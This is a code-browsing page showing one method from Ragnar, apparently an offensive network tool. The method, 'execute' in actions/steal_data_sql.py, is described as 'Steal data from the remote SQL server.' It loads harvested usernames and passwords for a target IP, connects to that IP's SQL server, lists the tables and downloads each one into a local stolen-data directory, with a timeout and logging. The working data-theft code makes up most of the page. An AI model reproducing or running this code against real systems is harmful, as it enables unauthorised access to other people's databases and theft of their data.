MCPcopy Create free account
hub / github.com/PierreGode/Ragnar / execute

Method execute

actions/steal_data_sql.py:88–166  ·  view source on GitHub ↗

Steal data from the remote SQL server.

(self, ip, port, row, status_key)

Source from the content-addressed store, hash-verified

86 logger.error(f"Error downloading data from table {schema}.{table}: {e}")
87
88 def execute(self, ip, port, row, status_key):
89 """
90 Steal data from the remote SQL server.
91 """
92 try:
93 if 'success' in row.get(self.b_parent_action, ''):
94 self.shared_data.ragnarorch_status = "StealDataSQL"
95 time.sleep(5)
96 logger.info(f"Stealing data from {ip}:{port}...")
97
98 sqlfile = self.shared_data.sqlfile
99 credentials = []
100 if os.path.exists(sqlfile):
101 df = pd.read_csv(sqlfile)
102 # Filtrer les credentials pour l'IP spécifique
103 ip_credentials = df[df['IP Address'] == ip]
104 # Créer des tuples (username, password, database)
105 credentials = [(row['User'], row['Password'], row['Database'])
106 for _, row in ip_credentials.iterrows()]
107 logger.info(f"Found {len(credentials)} credential combinations for {ip}")
108
109 if not credentials:
110 logger.error(f"No valid credentials found for {ip}. Skipping...")
111 return 'failed'
112
113 def timeout():
114 if not self.sql_connected:
115 logger.error(f"No SQL connection established within 4 minutes for {ip}. Marking as failed.")
116 self.stop_execution = True
117
118 timer = Timer(240, timeout)
119 timer.start()
120
121 success = False
122 for username, password, database in credentials:
123 if self.stop_execution or self.shared_data.orchestrator_should_exit:
124 logger.info("Steal data execution interrupted.")
125 break
126 try:
127 logger.info(f"Trying credential {username}:{password} for {ip} on database {database}")
128 # D'abord se connecter sans base pour vérifier les permissions globales
129 engine = self.connect_sql(ip, username, password)
130 if engine:
131 tables = self.find_tables(engine)
132 mac = row['MAC Address']
133 local_dir = os.path.join(self.shared_data.datastolendir, f"sql/{mac}_{ip}/{database}")
134 os.makedirs(local_dir, exist_ok=True)
135
136 if tables:
137 for table, schema in tables:
138 if self.stop_execution or self.shared_data.orchestrator_should_exit:
139 break
140 # Se connecter à la base spécifique pour le vol de données
141 db_engine = self.connect_sql(ip, username, password, schema)
142 if db_engine:
143 self.steal_data(db_engine, table, schema, local_dir)
144 success = True
145 counttables = len(tables)

Callers 1

steal_data_sql.pyFile · 0.45

Calls 11

connect_sqlMethod · 0.95
find_tablesMethod · 0.95
steal_dataMethod · 0.95
infoMethod · 0.80
read_csvMethod · 0.80
errorMethod · 0.80
successMethod · 0.80
cancelMethod · 0.80
getMethod · 0.45
sleepMethod · 0.45
startMethod · 0.45

Tested by

no test coverage detected